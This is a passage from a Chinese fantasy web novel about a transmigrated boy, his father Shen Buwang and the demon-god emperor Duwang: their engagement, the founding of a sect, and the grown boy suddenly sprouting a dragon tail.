戚宝拽着沈不忘的衣襟,手指搅动着,不死心的问道:“你不带我找娘了吗?你要跟那个狗皇帝成亲,我娘改多伤心啊?” 沈不忘摸了摸小家伙的脸颊,将他额头上汗湿的头发捋到脑袋后,眼中透着几分无奈,心中似默默叹息了一声,道:“你好好休息一下好吗?” “不要,睡了你就跟狗皇帝跑了。”戚宝赌气的说道,“我一直以为你是来带我找我娘的。” 沈不忘贴着他的脸,轻轻的说道:“你没有娘的。” “什么?”戚宝脑袋的弦绷紧,麻木的问了句,“怎么可能没有娘,那我是从哪里来的?” “你当然是爹生的,你不记得了吗?”沈不忘语调依旧十分温柔,“你更小的时候是知道这事的。” 戚宝:…… 贺兰忱:…… 戚宝呆呆的看着他爹半响,他不是失忆了吗?怎么还记得自己是他生的? 小说里面明明写着,他从封印里出来后,修为大盛,天劫将至,无数的劫云汇聚于头顶,无数的雷电尽数落下,将西山炸出了了天坑,他昏迷其中,多日后被婴儿的哭声吵醒。 曾经的剑尊沈君钦忘记了前尘往事,天劫,正式开始。 沈不忘现在是恢复记忆了吗?所以才要跟渡妄成亲? 戚宝呆滞了好久,脑子里是一团浆糊,他更小的时候知道他是爹生的,那现在不记得了,是不是早就穿帮了? 沈不忘却没有这个意思,只道:“自从那次丢了魂后,乖崽忘记了很多事情。” 贺兰忱见戚宝一副大受打击的样子,试探着询问:“那……戚宝另一个爹是谁?” 沈不忘看贺兰忱求知若渴的模样,蹙眉:“两个男的是生不了孩子的,他只有我一个爹。” 贺兰忱:…… “爹你……”戚宝大受震撼,话是这么说,但这是修真世界,而且他就是两个男的生下来的。 沈不忘见两小崽子不是很相信的样子,便开始给两个人科普,为什么两个男的生不了孩子,算是他们两的第一堂生理知识课了,讲的还很有道理。 确实,正常情况下两个男的是无法生孩子的。 要不是他们看过小说,清清楚楚的知道沈云戚就是他跟渡妄的孩子,还真的被说服了。 “听明白了吗?”沈不忘问道。 贺兰忱立即马屁道:“沈叔叔,你好博学啊,那一个人就能生孩子吗?” 沈不忘听到这个问题,沉思片刻,解释道:“应该是不能的。” “那……” 沈不忘又说:“但是我可以。” “为什么?”戚宝立即接话问道。 沈不忘又说:“不知道,反正你已经在了,就证明我可以。” 已经存在的结果,推导出他可以,别人可以不可以无所谓,戚宝是被他生下来的,所以他可以。 逻辑十分合理。 戚宝有些无言以对,沈不忘是真的失忆不记得跟魔神过去的种种了,但是还记得他是他生的。 甚至还觉得自己可以一个人生孩子。 沈不忘一脸从容淡定且无比笃定,两小崽子心里还是有些微妙的,觉得此事……有点点离谱。 事已至此,戚宝一时不知道说什么才好。 所以从他想找娘开始,沈不忘都是顺着他的心意来的,甚至一开始就知道柳音是骗他们的,大约也是为了让他开心,所以没有揭穿。 这短短一个小时内,给他的刺激一下又一下的,比他这辈子都过得还刺激。 他最后还有一个问题:“那我是你的孩子吗?” 第 58 章 加入这个家 “当然是啊。”沈不忘应道。 戚宝看着他爹的眼睛, 无比认真且坚定的。 戚宝觉得自己内心也太强大了,一天遭受这么多打击,还坦然接受了, 若是换真的小孩来, 估计早就有心魔了。 戚宝得到了肯定的回答, 他心情平复下来。 他真的累惨了,倒在沈不忘的怀里, 十分安心的睡去。 贺兰忱跟沈不忘大眼瞪小眼,沉默了良久, 贺兰忱悄悄挪着脚步,准备离开。 沈不忘忽然开口道:“你跟他有什么秘密吗?” 贺兰忱顿时背脊发凉,惶惶不安,目光下移不敢直视他,可这般心虚的模样确实让人更怀疑, 他勉强的抬起眸子, 勉强道:“确实有秘密。” “哦?”沈不忘挑挑眉,面色依旧平静无波。 贺兰忱咽了咽口水,道:“我……我们,都不想你跟父皇成婚,我们之前……说好要破坏你们在一起。” 他如实回答, 至于更深一层的原因,他是不会告诉他的。 沈不忘知道他没有说谎,不禁沉思。 贺兰忱又道:“父皇还在找戚宝的娘亲,你要不要告诉父皇,其实戚宝根本没有娘亲,是你生的?” “为什么要告诉他?此事与他无关。”沈不忘凡事都有自己的成算,这类最隐秘的秘密就算道侣也不不会告知。 贺兰忱耸耸肩, 也管不了他们的事情。 他也不是多管闲事的人,更不会大嘴巴到将戚宝是沈不忘生的这个事情告诉渡妄。 那个狗皇帝,就知道欺负小孩。 就如沈不忘坚定的认为两个男的不能生孩子,戚宝是他一个人就能生出来一样,指不定渡妄会认为一个人根本生不了孩子,开始发疯! 戚宝休息了一夜,夜里睡得并不是很好,他做了很多噩梦,不过却记不得了,夜里醒来好几次,发现沈不忘都坐在床边,心里便多了些安全感。 * 深夜,更夫走街串巷的敲打着竹梆,嘹亮的声音在黑暗中响起。 白天被妖猴破坏的小巷里,发出了咔哧咔哧的声音,更夫立即加快了脚步,快速离开此处,奉京近几个月来实在不太平。, 更夫离开后,一个黏腻潮湿之物从破烂中爬了出来,长长的舌头舔舐着嘴唇,发出不成音调的声音。 “味道这么好?连木头都吃了?”少年的声音有些诧异。 那东西疯狂的点点头,想要开口却说不出来。 “行吧,既然你这么喜欢,下次再找机会放他点血。”少年爱抚的在她脑袋上摸了摸,一边叹息道,“真是个可怜的孩子,连自己什么样子都忘记了,要不哥哥帮你找一张脸吧?” 那玩意似乎有些不解,黑洞洞的眼眶里看不出任何情绪。 “哥哥最近得到了一张美人的画像,你看看,照着这样长。”少年从空间戒中拿出一张画像,美的不可方物。 只是那眼睛上被一道红色的颜料画掉了。 怪物看着那幅画,咿咿呀呀的发出激动的声音。 “哦?你认识她啊?七哥哥是你哥哥吗?”少年若有所思,随即又笑,“不过你们那的人全都死了,估计你也找不到他了,用他的样子替他活下去好了。” 投喂好自己的宠物,少年便让她从水里离开,自己拍了拍手,准备回去。 从暗处走出来,少年露出了脸,正是白日的捉妖猎人查布雨。 * 沈不忘又带戚宝从宫中搬出来了,此事惹得狗皇帝十分恼火,不过沈不忘有自己的想法,那日他的好大儿受到了太多刺激,怕增心魔,所以需要好好静养,观察一段时日。 那日成亲之事以那种方式被戚宝知晓,沈不忘虽嘴上没说,心里大约觉得他故意这么做,为的就是彰显自己官配的地位。 渡妄可没有想过给小东西示威,搞得跟争宠似的,很是丢份。 事已至此,他又不能去解释什么,这样做的话便更丢份,脸还要不要? 宫中瞬间变得冷清起来,婚事沈不忘也没有提起了,渡妄也憋着一口气,单方面的跟人冷战。 身在帝王位上,虽是张冠李戴的,国事却日日都有。 渡妄一个人住在宫中,日日被那群大臣催着批阅奏折,贺兰忱那小子竟然也找理由不干活日日跑出去找沈家父子,美其名曰帮父皇盯梢。 于是渡妄直接把事情丢给谢明堂去干了。 别看谢明堂纨绔了二十几载,但是在处理国事上却十分游刃有余,让人称奇。 渡妄多次听到朝中大臣夸赞谢明堂,心里冷笑,谢明堂此人国事解决的倒是好,找个沈云戚的娘,却找错了好几次。 七月初七至,城中倒是聚集了不少于沈云戚同年同月同日生的孩子,也有一些从周遭赶来凑热闹的人,乞巧节祈求姻缘的善男信女。 “大事不好,父皇,大事不好了!!!”贺兰忱着急忙慌的回了宫中,嚷嚷着大事不好。 渡妄立即放下手中的书,问道:“发什么什么事情了?” “……我说了,你该不会打我吧?”贺兰忱忸怩的说道。 渡妄眉头一横,斥道:“你若是不说,愚弄我,会没命知道吗?” 贺兰忱立即露出好怕怕的表情,赶紧说:“是这样的,因为你好多天都没有去看望沈叔叔和戚宝他们,他们便觉得你既不喜欢戚宝,也不喜欢沈叔叔,于是伤心欲绝,准备离开奉京,即日出发。” “什么?”渡妄猛地从椅子上站起来,不可置信。 贺兰忱缩着脖子,小声询问:“父皇,你要送他们一程吗?” “什么送他们,不许走!”渡妄咬牙切齿就要出去。 贺兰忱立即拉了他一下,提醒道:“今日是戚宝的生辰,之前他说要吃蛋糕,你不准备一下吗?空手去一点诚意都没有。” 渡妄拧眉,压抑着心中的烦躁:“那是什么东西?” “我教你吧。”贺兰忱立即开心的说道。 渡妄:???? 心中虽百般不愿讨好死小孩,可还是跟着贺兰忱去做该死的蛋糕。 戚宝蹲在厨房的屋顶上的树荫下,看着里面的人忙来忙去,贺兰忱冲着他比了个OK的手势,戚宝撇了撇嘴,就算他要做蛋糕又能代表什么? 狗皇帝都是演的,这个人根本就不喜欢他。 戚宝已经在心里给他开除爹籍了。 夏日很长,蹲在屋顶上很热,不过很快太阳便进了云里,却不显阴沉,徐徐的清风吹来,让这里变得舒坦。 有些人就是不适合在厨房干活,渡妄便是那样的人。 贺兰忱也不会做蛋糕,只能说出一些材料,一旁的御厨根据自己的理解协助帝王亲手制作传说中的生日蛋糕。 失败了好多次,炉子都炸了,面粉和烟灰到处飞,渡妄被炸的一半黑一半白,看上去十分滑稽,他阴沉着脸跟厨房斗智斗勇,似乎很不想做,却勉强继续做下去。 戚宝一开始还很嫌弃,不过他一次次黑着脸尝试,他反倒看乐了,脸上挂着笑,回头看坐在他身侧的沈不忘。 “爹,我们走吧。”戚宝不想继续在这看他笑话了,他心中的火消散了,或许是转移到了渡妄身上,又或许是这午后的风很舒服,吹散了心中的不愉。 沈不忘问道:“不看了?” “饿啦,想吃好吃的。”戚宝站起身,再过一会天色就黑下来了。 两个人正准备离开,却发现刚刚还在厨房里准备第十次做蛋糕的家伙拦住了两人的去路,黑着脸道:“你们看了一下午我的笑话,这就要走了?” 戚宝:…… 沈不忘看他黑漆漆的脸,问道:“要一起出去用晚餐吗?我们在城中的客栈定了酒菜。” “要。” “那你去收拾一下。”沈不忘提醒道。 渡妄立即应好,快速去换衣裳,再见面时,已经焕然一新,英俊帅气的厉害,被看了一下午的笑话的火也消散一空。 戚宝觉得好神奇,果然是一物降一物,方才他拦住他们去路的时候,分明已经很生气了,他爹一句话,便将他拿捏的死死的。 笨蛋大魔王被他美人爹爹玩弄于手掌之间。 生辰没有吃到蛋糕,不过有长寿面还有酒楼大厨捏的寿桃,上面哈像模象样的插了个小蜡烛。 贺兰忱给他唱了生日快乐歌,沈不忘也欢乐的鼓掌。 渡妄觉得好幼稚,随即目光又落在沈不忘的脸上,又觉得还不错,他还从来没有见过他露出这样的表情,漂亮的让人挪不开眼。 “许个愿吧。”贺兰忱说道,“生日时候的愿望是会实现的。” “真的吗?”戚宝不明所以,难怪他的愿望一直没有成真,原来是他从未过过生日的缘故。 戚宝立即闭上双眼,默默在心里许愿,吹灭了蜡烛。 沈不忘问:“许的什么愿望?” “别说,说出来就不灵验了。”贺兰忱赶紧阻止道。 戚宝立即点头,道:“不能告诉你们。” 生辰一起吃了饭后,大家也没有闲着,今日没有宵禁,大街上许多人走着,每个人都很开心的样子。 戚宝走着走着忽然听到了有人提到了他的名字,于是停下来仔细听了一下。 “哪里是什么爱情故事,是皇帝为他的义子过生辰,我们都是来沾光的。” “义子叫小七。” “我也是七月初七出生的,在哪里可以领礼物?” “那边那边……大家都有。” 人们喜气洋洋的去领了礼物,戚宝忽然扭头看了一眼渡妄,他拧着眉头看着走远的人群,随后拿出一个东西送给了戚宝。 渡妄也没有解释是什么,冷硬的说了句:“生辰快乐,年年有今日,岁岁有今朝。” “我还想看烟花。”戚宝眨巴着大眼睛,得寸进尺道。 渡妄下意识的看向贺兰忱,眼下之意很明显了:烟花,准备了吗? 贺兰忱没有理他,哪里来的烟花? “就是那次,你在我家柴房的时候,给我表演的。”戚宝提醒道。 渡妄深吸一口气,这小子,真的把他当猴子耍了,还要给他变把戏。 他心中虽有意见,可对上小子期待的大眼睛,以及沈不忘也看着他,他心中倒没有任何不悦。 渡妄上前一步,道:“看好了,星辰陨落!” 无月之夜,漫天星辰从隐匿的云层中出现,瞬间闪耀,璀璨绚烂,随后无数的流星拖着长尾巴飞落。 “快看那,流星雨。”“真好看啊!” 所有人都被这场突如其来的流星雨吸引,驻足观看。 “好看,我好喜欢。”戚宝被抱起来,举得高高的,这里视野更好。 渡妄心中啧了一声,带着几人到了皇宫最高的屋顶:“这里看得更清楚。” 一家三口肩并肩坐着,戚宝坐在两人中间,贺兰忱宛如一个外人,不过他不是来破坏这个家的,他是来加入这个家的。 “让让,我要坐中间。”贺兰忱缩着肩膀,坐在戚宝的旁边,将渡妄往旁边挤了挤,挪出了一屁股的位置,大摇大摆的坐下。 贺兰忱面对他阴沉的眼神,故作深沉的说道:“我不是来破坏你们的,我是来加入这个家的。” 渡妄:…… 你小子! 戚宝又说:“还有一个,放烟花的。” 话音刚落,漫天星辰间绽放了人间的最绚烂的烟火,绽放于青空,盛世的烟灰落在每个人的肩头,他们得到了世间唯一的神明祝福。 “哇,好好看,我好喜欢!”戚宝热情的为他鼓掌。 渡妄扯了扯嘴角,随后便看到沈不忘朝他看来,眼底带着笑意。 某种奇妙的情绪瞬间占据心头,他走后那些无聊的时日,他看不到星辰演变,看不到日月青空,也没有他一起陪着,在封印中度过了不知多少日月,无聊时研究的来打发时间的。 他也喜欢。 戚宝情绪被哄好了,也认命他爹要跟狗皇帝结为道侣的事情,好日子就安排在八月十五,人月两团圆,和和美美。 轻松的日子过没两天,狗皇帝便开始作妖了。 他之前下聘的时候被沈不忘拒绝了,十分丢脸,他强烈要求重新复刻一下当时的事情,要沈不忘当着全天下的百姓心甘情愿的嫁给他。 沈不忘没那么想配合。 渡妄就开始撒泼打滚,硬说自己丢尽了颜面,一定要找回场子。 沈不忘十分无奈:“你不是让城里所有人都忘了此事吗?” 渡妄:…… 就是因为太丢脸了,所以让全城的人都遗忘了此事,可是他没有忘记,他需要找回场子。 如此这般纠缠了几日,沈不忘只能答应他,为了防止他胡说八道,沈不忘只有一个要求,让自己来开口求婚吧。 渡妄笑吟吟的给他准备了求婚台词。 第 59 章 他长尾巴了! “从第一眼看到你的时候我就沉沦在你的眼中, 如我这般古板的寒潭,也会为你沸腾,爱你是开始于好多年前, 你将我从水下拉出来的时候, 为我渡气, 那是我们第一次亲密接触,当时我虽然推开了你, 可你不知,我的心跳失了方寸, 辗转难眠……” 戚宝看着求婚的台词,念了一半怒摔,审判道:“这么羞耻的话是谁写出来的?我爹肯定不会念的!这么多人看着,我都脚趾扣地浑身起鸡皮疙瘩了。” 贺兰忱捡弯腰是起那张纸,折起来。 戚宝大怒:“你还收起来干嘛?”这玩意儿简直就是服从性测试, 羞耻的要死。 贺兰忱似觉得戚宝的反应十分好笑, 道:“收好,免得被别人捡去了,难道很光彩吗?” “你说的有道理。”戚宝立即将东西藏起来,谁都不能看。 楼下帝王的下聘队伍已经来到了云来客栈前,帝王穿着他最为华贵的衣裳, 带着仪仗队和铺满长街的聘礼,街边的百姓尽数跪下,此情此景似有些熟悉。 沈不忘站在马车下,仰头看着他。 渡妄似笑非笑的等着他说出那些羞耻难当的话。 戚宝心提到了嗓子眼,趴在楼上最佳观看位置,贺兰忱看着小家伙,搞得比自己结婚还紧张。 “你不是有话跟朕说吗?”渡妄见他半响不吱声。 沈不忘伸手, 掌心里是一片金色的青莲花瓣,声音无波的问道:“贺承元,你愿意跟我结为道侣吗?” 那些肉麻的话全都隐去,最直接了当的说出目的。 渡妄听到这话,面上的笑容微微一顿,握住他的手,将他拉上车撵搂紧了他的腰,道:“不愿意。” 沈不忘微微一惊,下一句是:我只想睡你吗? 未等他想到更多,渡妄便凑在他耳边说道:“叫渡妄。” “什么?”沈不忘不解。 “我的名字。”渡妄道,“重新问我一次。” 沈不忘凝神,再一次问他:“渡妄,你愿意跟我结为道侣吗?” “愿意的。” 话音落下,他的心跳都变得激烈了起来,命定的,这一切都是命中注定的。 风扬起了他的长发,他看到他笑的很开心。 戚宝托着脸,幽幽叹息一声,随后也笑了。 天要下雨,爹要成亲。 这事定下来之后,戚宝和贺兰忱也被送到了国子监去上学了。 渡妄也逐步将朝政大事转给谢明堂处理,谢明堂的本也是天家的血脉,他与贺承元是同母的兄弟,为了逃避皇室的倾轧,被生母偷偷交给娘家养育,表面纨绔实则颇有才干,当真可以称之为大智若愚。 孩子不在家,不用工作,渡妄终于有大把时间跟沈不忘相处了。 不过沈云戚那小子,似乎见不得他好,经常会闹出一些动静出来,吵到他们亲密。 这日渡妄又压着沈不忘亲亲热热的滚作一团,就差临门一脚,门外又传来了戚宝的喊声:“爹……你在哪里啊?我有功课不会做。” 沈不忘要推开渡妄,渡妄却揽着他的腰不让他走,咬着他的耳朵哑声道:“别理他,先陪我。” “……” 在他开口之前,渡妄再一次堵住了沈不忘的嘴巴。 屋内两个人的亲的火热,屋外的戚宝依旧在喊:“爹,你在哪里啊?为什么不理我?” “你什么功课不会做,我教你吧。”贺兰忱无语的说道。 戚宝拒绝:“不要,我就要找我爹。” “我教你,不然我父皇又要教训我了。”贺兰忱透着满满的无奈。 戚宝挥起小拳头,道:“那你就说我打你了。” “你真的打啊。”贺兰忱骂骂咧咧的。 戚宝很快尖叫起来:“不要拽我头发,不要捏我脸,呜呜呜,好疼……爹……救我。” 两个小朋友打架的次数与日俱增,一天打三次。 沈不忘听着戚宝的哭喊,终于忍不住用力推开渡妄,起身整理衣服。 渡妄拉着他的手,半躺在床上,眼底是满满的欲望,胸前的衣服大敞着,声音沙哑:“你走了,我怎么办?” 沈不忘理好了衣服,瞥了一眼风流肆意的君王,眯了眯眼睛,冷淡的开口道:“你可以找你后宫的妃子来解决。” “什么妃子?”渡妄愣了一下,反应过来后立即解释道,“那不是我的妃子,我就你一个。” 贺承元之前却是有些妃子的,但是他消失了五年,后宫的妃子疯的疯,出家的出家,还有一些有心机的跟母家联合站错了位置,现在只能夹着尾巴做人,也就个位数,完全没有任何存在感。 沈不忘并不在意他说什么,便离开了。 渡妄看着他冷清的背影,忽然想到什么,这不是他第一次提到后宫的妃子,他喃喃自语道:“他……是不是吃醋了?” 肯定是吃醋了。 渡妄自己靠在床上,等着它消下去,脑子稍稍分神一些怎么处理掉后宫那些人? 他想了一会,顿时觉得不爽了,凭什么要接盘帝元的烂摊子?他是来享福的,又不是来当皇帝的找不痛快的? 于是,在这个下午,他做了个一个重大决定。 这皇帝不当也罢! 院子里,两小孩并排坐在池塘边,一人吃着一个冰葡萄解暑,丝毫看不出就在刚刚还打过架,关系好的很。 沈不忘就坐在凉亭里泡着茶,十分悠闲。 渡妄额角抽了抽,这番场景倒显得自己格格不入了。 他忽然觉得将两个小子打包送去学堂还是不够的,最后去历练个几十年,去闭关个上百年,小屁孩们需要自己独立,而他和自己的道侣也需要自己的生活。 戚宝老远就看到渡妄来了,他斜眼扫了他一眼,继续吃手里的葡萄。 渡妄走到贺兰忱身后,摸了摸他的脑袋,问:“为什么欺负弟弟?” “我没有欺负他。”贺兰忱解释道,“我都没有碰到他,他就鬼叫。” 渡妄皮笑肉不笑的看着一旁的戚宝,伸手摸了摸他的小脑袋:“云戚宝宝,要不爹送你去宗门修行吧,不然你胆子这么小,岂不是一直让你爹担心吗?” 戚宝看了一眼沈不忘,沈不忘也看他。 戚宝摇摇头,道:“不行,我要跟爹在一起,承欢膝下,父母在不远游,夫子今天教我的。” 渡妄牙酸,让这臭小子学到真东西了! 沈不忘看儿子的眼神温柔,嘴角含笑,显然被小孩的话取悦了。 渡妄又道:“不去仙宗也可以,那我教你吧,你拜我为师。” “不要。”戚宝重重的摇头。 渡妄还想说什么,便听戚宝对着沈君钦道:“若是我拜师了,那师父也是父,爹爹也是父,我不想有人在我心里占据比爹重要或者跟爹一样重要的位置。” 靠。 贺兰忱和渡妄心里同时发出一声咒骂,真是会甜言蜜语。 两人内心发出同样的感慨,情绪却不尽相同。 沈不忘却特别吃这一套,道:“爹已经想好了,爹决定开宗立派,收你为徒。” 戚宝开心的抱住了爹,一边嗲嗲的说:“我最喜欢爹了。” 沈不忘摸了摸戚宝的脑袋,戚宝回头看了一眼渡妄。 渡妄俨然从他眼中看出了挑衅的意味,嗤笑一声,目光随后落在贺兰忱的身上。 贺兰忱一脸懵逼的往嘴里塞了个葡萄,便听到渡妄道:“那我收你为徒好了。” “啊?我?”贺兰忱脑袋顶着大大的问号。 小说里沈君钦是贺兰忱的师父之一,而沈云戚则是得到了魔尊的全部真传。 这剧情跟原文不一样了! 这就是他们想要改变的事情,这个世界会因为戚宝而改变,结局也会由你书写。 贺兰忱看向戚宝的方向,他正跟沈不忘说要学什么呀?一边下定决心的跟贺兰忱他们攀比,渡妄也叮嘱道:“一定不能输给他们。” 奉天城并不适合继续待下去,此乃人间,灵气稀微,不利于修行。 他们要去寻一处灵力充沛的福地洞天,开立他们的宗门。 离开的那日,谢明堂匆匆来送别他们,还拿着个礼物送给沈不忘,一边又问:“皇兄,这江山没有你可怎么办啊?” “不是还有你吗?”渡妄凉凉的说,目光却是看着沈不忘手里的礼物。 谢明堂还想说自己才疏学浅不堪重用,渡妄却拍了拍他的肩膀,道:“这不是你一直想要的吗?也算是得偿所愿了。” 谢明堂神色一滞,怔怔的看着渡妄。 “走了。”渡妄伸手揽过沈不忘的腰。 沈不忘想要掰开他的手臂,渡妄将他手里的盒子打开看了一眼,是一只牙雕制作的漂亮骨莲花,他嗤笑一声,伸手将东西往后一丢,重新回到了谢明堂的怀里。 马车摇摇晃晃的离开了奉天城的大门,戚宝和贺兰忱脑袋迭着脑袋,从马车窗里探出来,遥遥的看着谢明堂,对着他挥挥手再见。 谢明堂站在原地,捧着怀里的礼物,看着马车扬起的漫天的尘烟,怔怔出神,眼神从茫然变得坚定,慢慢的,嘴角扬起一抹淡笑,随后变得肆意。 “明郎,你该不会真的看上了那古板的猎户吧?若是这般,我可会生气的。” 声音一出,谢明堂笑容顿时僵在脸上,赶紧对着盒子里的骨头解释着:“怎么会了?我最爱的就是你了。” 那骨头变换了模样,一边发出不满的声音道:“哼,你最是会骗人了,刚刚将我送给他,不是为了摆脱我吗?” “我……我只是为了让你监督着他们,以免他们回来抢走我的皇位。”谢明堂赶紧解释道。 蓝奉延笑声清脆悦耳,动人的蛊惑道:“别怕,你我夫夫一场,我自会帮你坐稳江山皇位的。” 谢明堂目光亮了亮,问道:“真的吗?” 山河王朝迎来了他们新的皇帝,摄政王和国师制衡了许多年,最后是纨绔不堪的谢明堂坐稳了钓鱼台,他上位后一反之前的性子,雷厉风行,处事果决,醉心朝政不曾纳妃。 青都上,云雾缭绕,灵力充沛形成的罡风在长生殿外呼啸着。 殿外护法的都是各大宗门的长老,修为至少在分神后期,殿内守着的是各大门派的掌门,中央立着的长命牌冒着幽幽的光。 有无极宗的,有苍穹派的,有青云宗的,也有花间派,紫霄洞府…… 细看之下长命牌上的名字竟是几个月之前进入帝陵秘境的修士,第一个长命牌倒下的时候就有弟子汇报到了掌门处。 之后又有无数盏灯灭,各宗门立即汇聚到一起,集合所有人之力,想要弄清楚帝陵之中发生了什么。 就算身死,只要召唤其元神回来,亦有法子使其肉身重塑,重归宗门。 结魂阵启动了百日,阵中的长命牌却一个个灭了,身死道消。 忽地,一场剧烈的震颤,所有的长命牌全部碎裂。 “噗。”无极宗的长老一口血吐了出来。 “全部都……” 这一次,所有修士全部消亡,再无希望,也不能知道秘境中究竟发生了什么事情。 更为惨烈的是,他们派出历练的少年天才尽数死在秘境之中,那是宗门投入无数天材地宝才养出来的晚辈,未来尚未到,便无期待。 此次去秘境,他们年轻一代都被杀的断层了,除了个别几个受伤未出山的,宗门百年积淀,竟付之一炬。 唯一让人平衡的是,所有宗门都断层了,需要重新招纳新的弟子,重振宗门。 四分五裂的长命牌有砸中守阵者,却无人出声,每个人的脸上都带着落寞的神色。 “让弟子来收拾吧。”苍老的声音十分落寞。 “是。” 很快几个弟子进入大殿收拾碎裂的长命牌,无人敢出声。 “师父!师父!!”忽地,少女惊讶的声音响起,打破了凝重的气氛。 “青虹,吵吵闹闹成何体统?”林玄乙呵斥了一声。 名唤青虹的无极宗少女立即解释道:“师父,这个长命牌还亮着。” 准备离去的众人脚步一顿,朝着少女举着的命牌看去。 竟……真的还亮着! 林听风!还活着,他还活着。 春去秋来,十三载转瞬即逝,这些年间,沈不忘和道侣带着两个小家伙去了不少地方,虽说各自收的弟子,教学都是一起的,所以两个小的都学到了两个大的本事,至于修为高低,便看天赋了。 目前来说,贺兰忱的修为稍高于沈云戚。 他们去过不少秘境,拿过不少宝物。 最后在一处险要的仙山上安了家,在此立宗名为剑宗。 山峦之上是仙岛,是渡妄从自己魔界搬来的巨型灵石,自带仙力可悬浮于天上,设下禁止,需合体后期之上才能登上仙岛。 于是两个小的只能住在山上,仙岛之上便是沈不忘和渡妄的爱巢。 沈云戚和贺兰忱日常便在山上上蹿下跳,练习功法剑术。 又是一年七月七,沈云戚已然十八岁了。 一早,沈云戚还躺在床上,半梦半醒间,身体出现了些许异样。 他并未发现异常,等到反应过来的时候,是那东西扇了他一耳光,疼痛让他从梦中惊醒过来,连忙坐起身来,下意识嚷了句:“贺兰忱,你打我干什么?” 沈云戚又被扇了一巴掌,捂着脸,难以置信的看过去,并不是贺兰忱打他,而是一条金色的……尾巴。 糟糕,他屋子里来凶兽了! 他从床上一跃而起,那尾巴便追着他到处跑,尾巴又像是受了惊一般,到处乱扫,砸坏了不少房间里的东西。 这下他才意识到,这尾巴是长在自己身上的! 这可怎么办啊?他返祖了。 绝对不能让爹们看见,若是他看见自己长出了金龙的尾巴,沈不忘肯定就反应过来自己一个人怎么会生出龙?而渡妄可能也会想明白,他们是父子。 这情况不是沈云戚想看到的。 沈云戚立即手忙脚乱的将衣服穿好,捂着无法驯服的尾巴,偷感十足的朝着贺兰忱的房间溜去。 贺兰忱此时正练好剑,回到屋子里准备脱了衣服睡下,手正放在腰带上,身后的房门便被猛地一下撞开。 “你……”贺兰忱惊得转头,发现是沈云戚,心下狐疑莫不是他发现自己偷偷用功了吧? 贺兰忱惊疑不定的看着沈云戚,他正捂着自己的屁股,笑道:“你这是什么姿势,谁对你的屁股做了什么?” “你小声点。”沈云戚立即合上房门,说道:“你快帮我看看这是怎么回事?” 说罢,沈云戚便着手开始脱衣服,撩起后面的衣裳。 贺兰忱目瞪口呆,反应过来赶紧阻止道:“你……你干什么了?这不太好吧。”他将眼神投向别处,不敢看他。 沈云戚已经是少年模样,唇红齿白,眉目如画,褪去了婴儿肥,面目十分清秀俊朗,一双眼睛又大又圆又黑,瞪得圆溜溜的时候特别纯真无辜,咬牙问道:“什么不好吧?” “就……哎,要是被师父们知道,我可得倒大霉了。”贺兰忱悄悄瞥了他一眼,“要不……我先去征求一下师父们的意见好了。” “这可不能让我爹知道,你看。”沈云戚慌乱阻止。 这下容不得贺兰忱阻止,一条金灿灿的漂亮的龙尾巴就露出来了,约莫有一米长,小臂粗细,龙鳞上泛着金色的光泽。 贺兰忱:…… 松了一口气,原来是让他看尾巴啊。 同时心里又有些失落,还以为是什么了。 “挺好看的。”贺兰忱托着下巴,仔细观赏着他晃来晃去的尾巴,似乎又觉得自己的目光过于赤裸,便又挪开了目光。 沈云戚简直要气死了,冲过去抓着贺兰忱的衣襟,疯狂的摇晃着他,道:“你看我,长尾巴了!” 贺兰忱看着他气红的脸,还有近距离可以更清晰的看到他白皙耳垂上的小红痣,左右两边各一,红红的像是带着小小的耳钉一般,特别可爱。 贺兰忱说:“长尾巴很正常,因为你原身是一条小龙,说明你快成年了。” “我不想被他们看见。”沈云戚赶紧说道。 因为紧张,尾巴再一次不受控制。 “啪”的一下,打在贺兰忱的脸颊上,发出了清脆的响声。 沈云戚满是愧疚的摸了摸他的脸,道歉道:“我不是故意的,我控制不住它,我也被它打了两耳光。” “没事。”贺兰忱摸了摸自己的脸。 沈云戚的指尖触碰着他脸颊上的肌肤,体温传过他的皮肤,引起一股淡淡的酥麻的感觉,像是触电一般,他喉结滚了一下,看着面前苦恼的人,正要说什么的时候,那条尾巴又挥了过来,这下他眼疾手快的握住了尾巴。 第 60 章 还是个小奶龙,就想着杀…… 金色小龙的尾巴的触感很好, 鳞片不会扎人,也不似冷血动物那般,它还带着少年的体温。 贺兰忱觉得自己还是挺喜欢这尾巴的, 捏着它的时候, 感觉里面的肌肉都跳动了一下。 “欸, 你。”沈云戚声音都变了强调。 他感觉一股小电流从尾巴传来,穿过尾椎, 从脊骨传遍每一个精神末梢,酥麻的感觉让他忍不住脚趾都蜷了起来。 肯定是贺兰忱使用了雷系法术, 他在电自己! 贺兰忱疑惑的看向沈云戚,他小脸有些偏红,手中的尾巴有些激动的想要抽脱,下意识的,手上的力气稍稍大了一些。 沈云戚忽然尖叫一声, 声调怪异, 话都没有说出来,便“咻”的一下,身体缩小,变成了一条小金龙,衣服落了一地。 小金龙被贺兰忱提着尾巴, 一整条小龙就被他捏在手上,脑袋朝下,在空中悠悠晃了两下,浑身上下透着淡淡的死感。 贺兰忱忙问道:“戚宝,你没事吧?抓着你尾巴会不会疼啊?” “看你干的好事!”沈云戚抬起脑袋,目光与他平齐,尾巴还在别人手中, 小爪子插在长条条的腰上,彰显着他愤怒的小情绪。 贺兰忱觉得有趣,恶从胆边生,伸出手指挠了挠他小爪爪叉着的腰上,一边问道:“这是你腰吗?原来龙的腰在这里啊?” “你……噫呜……我咬洗你!”沈云戚被他挠的浑身难受,像是有无数的蚂蚁在骨头里爬一般,又痒又……很怪异。 他不管不顾的冲着贺兰忱的脸咬上去,贺兰忱嬉笑着避开,小东西便咬住了他的脖子,贺兰忱连连求饶,笑道:“戚宝,别闹了,我错了,我错了还不行吗?” “不许叫我戚宝了。”沈云戚张大嘴巴,愤怒的啃在他的脖子上。 贺兰忱咽了下口水,也不抵抗了,直接躺在床上,道:“来吧,我不反抗了,就当你亲我好了。” 沈云戚觉得此人气人的手段越发厉害了。 平日里只怕练的不是剑,而是贱。 明明是一起长大的,怎么他这么正直,而贺兰忱却邪得发邪? 平日里就骚话一箩筐,现在又逮着他胡言乱语。 沈云戚那个气,气自己嘴笨,说不过他,气自己脸皮太薄。 贺兰忱撑着脑袋看他,脸上带着坏笑道:“不咬了吗?来吧,我求之不得,快点。” “神经病啊你。”沈云戚小脸通红。 “你刚刚亲了我,我要跟你爹说,你要对我负责,知道不?”贺兰忱见他害羞了,虽然变成小龙的样子看不出来脸红。 他就是知道他害羞了。 